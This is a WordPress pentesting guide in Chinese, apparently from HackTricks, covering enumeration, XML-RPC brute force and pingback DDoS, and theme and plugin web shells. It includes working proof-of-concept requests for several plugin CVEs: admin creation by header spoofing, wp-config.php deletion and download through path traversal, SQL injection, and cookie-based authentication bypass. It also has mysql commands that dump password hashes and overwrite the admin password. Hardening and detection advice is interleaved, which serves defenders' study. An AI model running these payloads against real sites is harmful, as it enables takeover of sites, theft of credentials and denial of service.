Wordpress

Reading time: 35 minutes

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

  • Uploaded 文件存放于: http://10.10.10.10/wp-content/uploads/2018/08/a.txt

  • Themes files can be found in /wp-content/themes/, 所以如果你修改主题的某些 php 来获取 RCE,通常会使用该路径。例如:使用 theme twentytwelve 你可以 access 404.php 文件于: /wp-content/themes/twentytwelve/404.php

  • Another useful url could be: /wp-content/themes/default/404.php

  • wp-config.php 中可以找到数据库的 root 密码。

  • 默认可检查的登录路径: /wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/

Main WordPress Files

  • index.php
  • license.txt 包含有用的信息,例如已安装的 WordPress 版本。
  • wp-activate.php 在设置新 WordPress 站点时用于电子邮件激活流程。
  • 登录相关文件夹(可能被重命名以隐藏):
  • /wp-admin/login.php
  • /wp-admin/wp-login.php
  • /login.php
  • /wp-login.php
  • xmlrpc.php 是一个功能文件,允许通过 HTTP 作为传输机制并以 XML 作为编码机制来传输数据。这种通信方式已被 WordPress 的 REST API 所取代。
  • wp-content 文件夹是存放 plugins 和 themes 的主要目录。
  • wp-content/uploads/ 是平台上上传的所有文件存储的目录。
  • wp-includes/ 这是存放核心文件的目录,例如证书、字体、JavaScript 文件和 widgets。
  • wp-sitemap.xml 在 WordPress 5.5 及更高版本中,WordPress 会生成一个包含所有公开文章以及可公开查询的文章类型和分类法的 sitemap XML 文件。

Post exploitation

  • wp-config.php 文件包含 WordPress 连接数据库所需的信息,比如数据库名、数据库主机、用户名和密码、认证密钥和盐以及数据库表前缀。该配置文件也可以用于启用 DEBUG 模式,这在故障排除时很有用。

用户权限

  • Administrator
  • Editor: 发布并管理他人和自己的文章
  • Author: 发布并管理自己的文章
  • Contributor: 撰写并管理自己的文章,但不能发布
  • Subscriber: 浏览文章并编辑个人资料

Passive Enumeration

Get WordPress version

检查是否可以找到文件 /license.txt/readme.html

在页面的 源代码 中(示例来自 https://wordpress.org/support/article/pages/):

  • grep
bash
curl https://victim.com/ | grep 'content="WordPress'
  • meta name

  • CSS 链接文件

  • JavaScript 文件

获取插件

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep -E 'wp-content/plugins/' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

获取主题

bash
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

通用地提取版本信息

bash
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2

主动枚举

Plugins and Themes

你可能无法发现所有可能的 Plugins 和 Themes。为了发现所有这些,你需要 主动对 Plugins 和 Themes 的列表进行 Brute Force(希望有自动化工具包含这些列表)。

用户

  • ID Brute: 你可以通过对 WordPress 站点的 users IDs 进行 Brute Forcing 来获取有效用户:
bash
curl -s -I -X GET http://blog.example.com/?author=1

如果响应是 20030X,表示该 id 为 有效。如果响应是 400,则表示该 id 为 无效

  • wp-json: 你也可以通过查询来获取关于用户的信息:
bash
curl http://blog.example.com/wp-json/wp/v2/users

另一个可能透露一些用户信息的 /wp-json/ endpoint 是:

bash
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL

请注意,该端点仅会公开已发布文章的用户。仅会提供已启用此功能的用户的信息

另请注意,/wp-json/wp/v2/pages 可能会 leak IP 地址。

  • Login username enumeration: 在通过 /wp-login.php 登录时,消息不同,从而表明该 用户名是否存在

XML-RPC

如果 xml-rpc.php 启用,你可以对凭证进行 brute-force,或利用它对其他资源发起 DoS 攻击。(You can automate this process using this for example).

要检查它是否启用,请访问 /xmlrpc.php 并发送以下请求:

检查

html
<methodCall>
<methodName>system.listMethods</methodName>
<params></params>
</methodCall>

Credentials Bruteforce

wp.getUserBlogs, wp.getCategories or metaWeblog.getUsersBlogs 是一些可以用来 brute-force credentials 的方法。如果你能找到其中任何一个,你可以发送类似下面的内容:

html
<methodCall>
<methodName>wp.getUsersBlogs</methodName>
<params>
<param><value>admin</value></param>
<param><value>pass</value></param>
</params>
</methodCall>

如果凭证无效,状态码为 200 的响应中应出现消息 "用户名或密码不正确"

使用正确的凭证可以上传文件。在响应中会出现路径 (https://gist.github.com/georgestephanis/5681982)

html
<?xml version='1.0' encoding='utf-8'?>
<methodCall>
<methodName>wp.uploadFile</methodName>
<params>
<param><value><string>1</string></value></param>
<param><value><string>username</string></value></param>
<param><value><string>password</string></value></param>
<param>
<value>
<struct>
<member>
<name>name</name>
<value><string>filename.jpg</string></value>
</member>
<member>
<name>type</name>
<value><string>mime/type</string></value>
</member>
<member>
<name>bits</name>
<value><base64><![CDATA[---base64-encoded-data---]]></base64></value>
</member>
</struct>
</value>
</param>
</params>
</methodCall>

另外有一种更快的方法来对 credentials 进行 brute-force,使用 system.multicall,因为你可以在同一请求中尝试多个 creds:

绕过 2FA

该方法面向程序而非人工使用,且年代较久,因此不支持 2FA。所以,如果你有有效的 creds 但主入口受 2FA 保护,你可能能够滥用 xmlrpc.php 使用这些 creds 登录以绕过 2FA。注意,你不能执行通过控制台能做的所有操作,但正如 Ippsec 在 https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s 中所解释的,你仍可能获得 RCE。

DDoS 或 端口扫描

如果你能在方法列表中找到 pingback.ping,你可以让 Wordpress 向任意主机/端口发送任意请求。
这可用于让数千个 Wordpress 站点访问同一个目标(从而在该目标造成 DDoS),或者你可以用它让 Wordpress扫描某些内部网络(你可以指定任意端口)。

html
<methodCall>
<methodName>pingback.ping</methodName>
<params><param>
<value><string>http://<YOUR SERVER >:<port></string></value>
</param><param><value><string>http://<SOME VALID BLOG FROM THE SITE ></string>
</value></param></params>
</methodCall>

如果你得到 faultCode 的值 大于 0 (17),则表示端口已开放。

查看上一节中 system.multicall 的用法,学习如何滥用该方法发动 DDoS。

DDoS

html
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param><value><string>http://target/</string></value></param>
<param><value><string>http://yoursite.com/and_some_valid_blog_post_url</string></value></param>
</params>
</methodCall>

wp-cron.php DoS

此文件通常存在于 Wordpress 站点根目录下:/wp-cron.php
当此文件被访问时,会执行一个“heavy”的 MySQL query,因此可能被attackers用来cause一个DoS
此外,默认情况下,wp-cron.php 会在每次页面加载时被调用(即客户端请求任何 Wordpress 页面时),在高流量站点上可能导致问题(DoS)。

建议禁用 Wp-Cron,并在主机上创建一个真实的 cronjob 来定期执行所需操作(以避免产生问题)。

/wp-json/oembed/1.0/proxy - SSRF

尝试访问 https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net,Worpress site 可能会向你发起请求。

This is the response when it doesn't work:

SSRF

https://github.com/t0gu/quickpress/blob/master/core/requests.go

该工具检查是否存在 methodName: pingback.ping 以及 路径 /wp-json/oembed/1.0/proxy,如果存在,则尝试利用它们。

自动化工具

bash
cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0"
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
#You can try to bruteforce the admin user using wpscan with "-U admin"

通过翻转一个比特获取访问权限

这与其说是真正的攻击,不如说是个好奇的例子。在该 CTF https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man 中,你可以翻转任意 wordpress 文件的 1 个比特。因此你可以将文件 /var/www/html/wp-includes/user.php 的位置 5389 翻转,从而把 NOT (!) 操作 NOP 掉。

php
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
return new WP_Error(

Panel RCE

修改所使用主题中的 php(需要 admin credentials)

Appearance → Theme Editor → 404 Template(在右侧)

将内容更改为 php shell:

在互联网上搜索如何访问该已更新的页面。在本例中,您需要访问:http://10.11.1.234/wp-content/themes/twentytwelve/404.php

MSF

您可以使用:

bash
use exploit/unix/webapp/wp_admin_shell_upload

以获取会话。

Plugin RCE

PHP plugin

可能可以将 .php 文件作为 plugin 上传。创建你的 php backdoor,例如:

然后添加一个新的 plugin:

上传 plugin 并按 Install Now:

点击 Procced:

这看起来可能不会有任何反应,但如果你进入 Media,你会看到你的 shell 被上传:

访问它,你将看到用于执行 reverse shell 的 URL:

Uploading and activating malicious plugin

该方法涉及安装已知存在漏洞的恶意 plugin,可被利用以获取 web shell。该过程通过 WordPress 仪表盘执行,如下:

  1. Plugin Acquisition: 该 plugin 可从 Exploit DB 等来源获取,例如 here.
  2. Plugin Installation:
  • 前往 WordPress 仪表盘,然后进入 Dashboard > Plugins > Upload Plugin.
  • 上传下载的 plugin 的 zip 文件。
  1. Plugin Activation: 插件安装成功后,必须通过仪表盘激活。
  2. Exploitation:
  • 当安装并激活了 "reflex-gallery" plugin 时,可利用该已知漏洞进行攻击。
  • Metasploit framework 提供了针对该漏洞的 exploit。通过加载相应模块并执行特定命令,可以建立 meterpreter 会话,从而获得对站点的未经授权访问。
  • 应注意,这只是利用 WordPress 站点的众多方法之一。

内容包含在 WordPress 仪表盘中安装并激活 plugin 步骤的图示说明。但重要的是要注意:在没有适当授权的情况下以这种方式利用漏洞是非法且不道德的。本信息应负责任地使用,仅限于合法场景,例如经过明确许可的 渗透测试。

For more detailed steps check: https://www.hackingarticles.in/wordpress-reverse-shell/

从 XSS 到 RCE

  • WPXStrike: WPXStrike 是一个脚本,旨在将 Cross-Site Scripting (XSS) 漏洞升级为 Remote Code Execution (RCE) 或 WordPress 中的其他严重漏洞。更多信息请参见 this post。它提供对 Wordpress 版本 6.X.X、5.X.X 和 4.X.X 的支持,并允许:
  • Privilege Escalation: 在 WordPress 中创建一个用户。
  • (RCE) Custom Plugin (backdoor) Upload: 上传你的自定义 plugin (backdoor) 到 WordPress。
  • (RCE) Built-In Plugin Edit: 编辑 WordPress 内置的 plugin。
  • (RCE) Built-In Theme Edit: 编辑 WordPress 内置的 theme。
  • (Custom) Custom Exploits: 为第三方 WordPress plugins/themes 提供自定义 exploit。

Post Exploitation

提取用户名和密码:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"

更改 admin password:

bash
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"

Wordpress 插件 Pentest

攻击面

了解 Wordpress 插件如何暴露功能对于发现其功能上的漏洞至关重要。你可以在下面的要点中找到插件可能如何暴露功能,以及一些易受攻击插件的示例,请参阅 这篇博客文章

  • wp_ajax

插件将函数暴露给用户的方式之一是通过 AJAX 处理程序。 这些处理程序可能包含逻辑、授权或认证方面的漏洞。此外,这些函数经常会将认证和授权都基于 Wordpress nonce 的存在,而Wordpress 实例中任何已认证的用户都可能拥有(与其角色无关)。

下面是可以用来在插件中暴露功能的函数:

php
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));

使用 nopriv 会使该 endpoint 对任何用户可访问(甚至未认证的用户)。

caution

此外,如果函数只是使用 wp_verify_nonce 来检查用户的授权,该函数通常只验证用户是否已登录,并不检查用户的角色。因此低权限用户可能能够访问高权限的操作。

  • REST API

也可以通过在 wordpress 中使用 register_rest_route 函数注册 REST API 路由来暴露函数:

php
register_rest_route(
$this->namespace, '/get/', array(
'methods' => WP_REST_Server::READABLE,
'callback' => array($this, 'getData'),
'permission_callback' => '__return_true'
)
);

permission_callback 是一个回调函数,用于检查给定用户是否有权限调用该 API 方法。

如果使用内置的 __return_true 函数,它将简单地跳过用户权限检查。

  • 直接访问 php 文件

当然,Wordpress 使用 PHP,插件内的文件可以直接通过网络访问。因此,如果某个插件暴露了任何仅需访问该文件即可触发的易受攻击功能,就会被任何用户利用。

Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)

一些插件为内部集成或反向代理实现了“trusted header”快捷方式,然后使用该 header 为 REST 请求设置当前用户上下文。如果该 header 未由上游组件以密码学方式与请求绑定,攻击者可以伪造它并以管理员身份访问有特权的 REST 路由。

  • 影响:未认证用户可通过 core users REST route 创建新的管理员,从而提权为管理员。
  • 示例 header: X-Wcpay-Platform-Checkout-User: 1(强制用户 ID 为 1,通常是第一个管理员帐号)。
  • 被利用的路由:POST /wp-json/wp/v2/users,并提交包含提升后 role 数组。

PoC

http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114

{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}

Why it works

  • 该插件将客户端可控的 header 映射为认证状态并跳过能力检查。
  • WordPress core 对此路由期望 create_users 能力;该插件通过直接从 header 设置当前用户上下文来绕过此检查。

Expected success indicators

  • HTTP 201,响应体为描述新建用户的 JSON。
  • wp-admin/users.php 中可见一个新管理员用户。

Detection checklist

  • 搜索 getallheaders(), $_SERVER['HTTP_...'], 或读取自定义 header 来设置用户上下文的第三方 SDK(例如 wp_set_current_user(), wp_set_auth_cookie())。
  • 审查 REST 注册,查找那些对特权回调缺乏健壮 permission_callback 检查而转而依赖请求 header 的情况。
  • 查找在 REST 处理器中仅通过 header 值作为门控的核心用户管理函数(wp_insert_user, wp_create_user)的使用。

Hardening

  • 切勿从客户端可控的 header 推导认证或授权。
  • 如果反向代理必须注入身份信息,应在代理处结束信任并去除入站副本(例如在边缘使用 unset X-Wcpay-Platform-Checkout-User),然后传递签名令牌并在服务器端验证。
  • 对于执行特权操作的 REST 路由,要求使用 current_user_can() 检查和严格的 permission_callback(不要使用 __return_true)。
  • 优先使用一方认证(cookies、application passwords、OAuth),而非通过 header 的“冒充”。

References: see the links at the end of this page for a public case and broader analysis.

Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)

WordPress 主题和插件经常通过 wp_ajax_wp_ajax_nopriv_ 钩子暴露 AJAX 处理器。 当使用 nopriv 变体时 回调将可被未认证的访问者调用,因此任何敏感操作还必须额外实现:

  1. 一个 capability check(例如 current_user_can() 或至少 is_user_logged_in()),以及
  2. 一个 CSRF nonce,使用 check_ajax_referer() / wp_verify_nonce() 验证,和
  3. 严格的输入净化 / 验证

Litho multipurpose theme (< 3.1) 在 Remove Font Family 功能中遗漏了这三项控制,最终发出了以下代码(简化):

php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
return;
}
$fontfamily = str_replace( ' ', '-', $_POST['fontfamily'] );
$upload_dir = wp_upload_dir();
$srcdir  = untrailingslashit( wp_normalize_path( $upload_dir['basedir'] ) ) . '/litho-fonts/' . $fontfamily;
$filesystem = Litho_filesystem::init_filesystem();

if ( file_exists( $srcdir ) ) {
$filesystem->delete( $srcdir, FS_CHMOD_DIR );
}
die();
}
add_action( 'wp_ajax_litho_remove_font_family_action_data',        'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );

该代码片段引入的问题:

  • 未认证访问 – 已注册 wp_ajax_nopriv_ 钩子。
  • 缺少 nonce / 权限 检查 – 任何访问者都可以访问该端点。
  • 未进行路径消毒 – 用户控制的 fontfamily 字符串未经过滤直接拼接到文件系统路径,从而允许经典的 ../../ 目录遍历。

利用

攻击者可以通过发送一个 HTTP POST 请求删除位于 上传基目录下 的任意文件或目录(通常为 <wp-root>/wp-content/uploads/):

bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'

Because wp-config.php lives outside uploads, four ../ sequences are enough on a default installation. Deleting wp-config.php forces WordPress into the installation wizard on the next visit, enabling a full site take-over (the attacker merely supplies a new DB configuration and creates an admin user).

Other impactful targets include plugin/theme .php files (to break security plugins) or .htaccess rules.

检测清单

  • 任何在 add_action( 'wp_ajax_nopriv_...') 回调中调用文件系统辅助函数(copy(), unlink(), $wp_filesystem->delete() 等)。
  • 将未经过滤的用户输入拼接到路径中(查找 $_POST, $_GET, $_REQUEST)。
  • 缺少 check_ajax_referer()current_user_can()/is_user_logged_in()

加固

php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
wp_send_json_error( 'forbidden', 403 );
}
check_ajax_referer( 'litho_fonts_nonce' );

$fontfamily = sanitize_file_name( wp_unslash( $_POST['fontfamily'] ?? '' ) );
$srcdir = trailingslashit( wp_upload_dir()['basedir'] ) . 'litho-fonts/' . $fontfamily;

if ( ! str_starts_with( realpath( $srcdir ), realpath( wp_upload_dir()['basedir'] ) ) ) {
wp_send_json_error( 'invalid path', 400 );
}
// … proceed …
}
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_family' );
//  🔒  NO wp_ajax_nopriv_ registration

tip

始终将任何对磁盘的写入/删除操作视为需要特权的操作并进行仔细检查: • 认证 (Authentication) • 授权 (Authorisation) • Nonce • 输入消毒/验证 • 路径包含控制(例如通过 realpath() 加上 str_starts_with())。


Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")

许多插件通过将原始角色保存在 user meta 中来实现“view as role”或临时角色切换功能,以便稍后恢复。如果恢复路径仅依赖请求参数(例如 $_REQUEST['reset-for'])和插件维护的列表,而没有检查能力(capabilities)和有效的 nonce,这就会成为一次垂直权限提升。

一个真实案例出现在 Admin and Site Enhancements (ASE) 插件(≤ 7.6.2.1)中。重置分支在用户名出现在内部数组 $options['viewing_admin_as_role_are'] 时会根据 reset-for=<username> 恢复角色,但在移除当前角色并重新添加来自 user meta _asenha_view_admin_as_original_roles 的已保存角色之前,既未进行 current_user_can() 检查,也未进行 nonce 验证:

php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
$reset_for_username = sanitize_text_field( $_REQUEST['reset-for'] );
$usernames = get_option( ASENHA_SLUG_U, [] )['viewing_admin_as_role_are'] ?? [];

if ( in_array( $reset_for_username, $usernames, true ) ) {
$u = get_user_by( 'login', $reset_for_username );
foreach ( $u->roles as $role ) { $u->remove_role( $role ); }
$orig = (array) get_user_meta( $u->ID, '_asenha_view_admin_as_original_roles', true );
foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}

为什么可被利用

  • 信任 $_REQUEST['reset-for'] 和 plugin option,而未进行服务器端授权。
  • 如果用户之前在 _asenha_view_admin_as_original_roles 中保存了较高权限并被降级,他们可以通过访问重置路径恢复这些权限。
  • 在某些部署中,任何 authenticated 用户都可以触发对仍存在于 viewing_admin_as_role_are 中的另一个用户名的重置(授权不当)。

利用前提

  • 存在漏洞的 plugin 版本且该功能已启用。
  • 目标账号在早期使用时在 user meta 中保存了陈旧的高权限角色。
  • 任何 authenticated 会话;reset 流程中缺少 nonce/capability。

利用(示例)

bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
# The plugin uses $_REQUEST, so GET or POST works. The exact route depends on the plugin hooks.
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'

在易受攻击的构建上,这会移除当前角色并重新添加保存的“原始角色”(例如 administrator),从而有效地提升权限。

Detection checklist

  • 查找在 user meta 中持久保存“原始角色”的角色切换功能(例如 _asenha_view_admin_as_original_roles)。
  • 识别重置/恢复路径,条件包括:
  • $_REQUEST / $_GET / $_POST 读取用户名。
  • 通过 add_role() / remove_role() 修改角色,但没有使用 current_user_can()wp_verify_nonce() / check_admin_referer()
  • 基于插件选项数组(例如 viewing_admin_as_role_are)进行授权,而不是基于执行者的权限。

Hardening

  • 在所有会改变状态的分支上强制执行能力检查(例如 current_user_can('manage_options') 或更严格的检查)。
  • 对所有角色/权限变更要求 nonce 并验证:check_admin_referer() / wp_verify_nonce()
  • 不要信任请求提供的用户名;应基于已认证的执行者和明确策略在服务器端解析目标用户。
  • 在个人资料/角色更新时使“原始角色”状态失效,以避免恢复过时的高权限:
php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
  • 考虑仅保存最小状态,并为临时角色切换使用有时限且受 capability 保护的令牌。

Unauthenticated privilege escalation via cookie‑trusted user switching on public init (Service Finder “sf-booking”)

一些插件将用户切换的辅助函数绑定到公共的 init 钩子,并从客户端可控的 cookie 推断身份。如果代码调用 wp_set_auth_cookie(),但没有验证身份、capability 和有效的 nonce,任何未认证的访客都可以强制以任意用户 ID 登录。

典型的易受攻击模式(简化自 Service Finder Bookings ≤ 6.1):

php
function service_finder_submit_user_form(){
if ( isset($_GET['switch_user']) && is_numeric($_GET['switch_user']) ) {
$user_id = intval( sanitize_text_field($_GET['switch_user']) );
service_finder_switch_user($user_id);
}
if ( isset($_GET['switch_back']) ) {
service_finder_switch_back();
}
}
add_action('init', 'service_finder_submit_user_form');

function service_finder_switch_back() {
if ( isset($_COOKIE['original_user_id']) ) {
$uid = intval($_COOKIE['original_user_id']);
if ( get_userdata($uid) ) {
wp_set_current_user($uid);
wp_set_auth_cookie($uid);  // 🔥 sets auth for attacker-chosen UID
do_action('wp_login', get_userdata($uid)->user_login, get_userdata($uid));
setcookie('original_user_id', '', time() - 3600, '/');
wp_redirect( admin_url('admin.php?page=candidates') );
exit;
}
wp_die('Original user not found.');
}
wp_die('No original user found to switch back to.');
}

为什么可被利用

  • 公开的 init hook 使得处理程序对未认证用户可达(没有 is_user_logged_in() 保护)。
  • 身份来自客户端可修改的 cookie(original_user_id)。
  • 直接调用 wp_set_auth_cookie($uid) 会将请求者以该用户身份登录,而没有任何 capability/nonce 检查。

利用(未认证)

http
GET /?switch_back=1 HTTP/1.1
Host: victim.example
Cookie: original_user_id=1
User-Agent: PoC
Connection: close

WAF 考虑事项(针对 WordPress/plugin CVEs)

通用的 edge/server WAF 通常针对广泛的模式进行调优(SQLi, XSS, LFI)。许多高影响的 WordPress/plugin 漏洞是与应用相关的逻辑/auth bug,除非引擎理解 WordPress 路由和插件语义,否则这些请求看起来像正常流量。

攻击方说明

  • 针对插件特定端点使用干净的 payloads:admin-ajax.php?action=..., wp-json/<namespace>/<route>, custom file handlers, shortcodes.
  • 先尝试未认证路径(AJAX nopriv, REST with permissive permission_callback, public shortcodes)。默认 payloads 通常在不做混淆的情况下就能成功。
  • 典型的高影响案例:privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.

防御性说明

  • 不要依赖通用 WAF 签名来保护 plugin CVEs。应实施应用层的、针对具体漏洞的虚拟补丁或尽快更新。
  • 在代码中优先使用正向安全检查(capabilities, nonces, strict input validation),而不是依赖否定式的正则过滤。

WordPress 保护

定期更新

确保 WordPress、plugins 和 themes 已更新到最新。并确认在 wp-config.php 中启用了自动更新:

bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );

Also, 仅安装可信任的 WordPress 插件和主题

Security Plugins

Other Recommendations

  • 移除默认的 admin 用户
  • 使用 强密码2FA
  • 定期 审查 用户 权限
  • 限制登录尝试次数 以防止 Brute Force 攻击
  • 重命名 wp-admin.php 文件,并仅允许从内部或特定 IP 地址访问。

Unauthenticated SQL Injection via insufficient validation (WP Job Portal <= 2.3.2)

WP Job Portal 招聘插件暴露了一个 savecategory 任务,该任务最终在 modules/category/model.php::validateFormData() 中执行以下易受攻击的代码:

php
$category  = WPJOBPORTALrequest::getVar('parentid');
$inquery   = ' ';
if ($category) {
$inquery .= " WHERE parentid = $category ";   // <-- direct concat ✗
}
$query  = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later

此代码片段引入的问题:

  1. 未过滤的用户输入parentid 直接来自 HTTP 请求。
  2. 在 WHERE 子句中使用字符串拼接 – 没有 is_numeric() / esc_sql() / prepared statement。
  3. 未认证即可访问 – 虽然该 action 是通过 admin-post.php 执行,但唯一存在的检查是 CSRF nonce (wp_verify_nonce()),任何访客都可以从嵌入短代码 [wpjobportal_my_resumes] 的公开页面获取。

Exploitation

  1. Grab a fresh nonce:
bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
  1. Inject arbitrary SQL by abusing parentid:
bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
-d '_wpnonce=<nonce>' \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='

响应会显示注入查询的结果或修改数据库,从而证明存在 SQLi。

Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)

另一个任务,downloadcustomfile,允许访客通过 path traversal 下载 磁盘上的任意文件。易受攻击的漏洞点位于 modules/customfield/model.php::downloadCustomUploadedFile()

php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output

$file_name 由攻击者控制并被拼接,未经过清理。 再次,唯一的门槛是一个 CSRF nonce,可以从简历页面获取。

Exploitation

bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
--data-urlencode '_wpnonce=<nonce>' \
--data-urlencode 'upload_for=resume' \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'

服务器返回 wp-config.php 的内容,leaking DB credentials 和 auth keys。

参考资料

tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks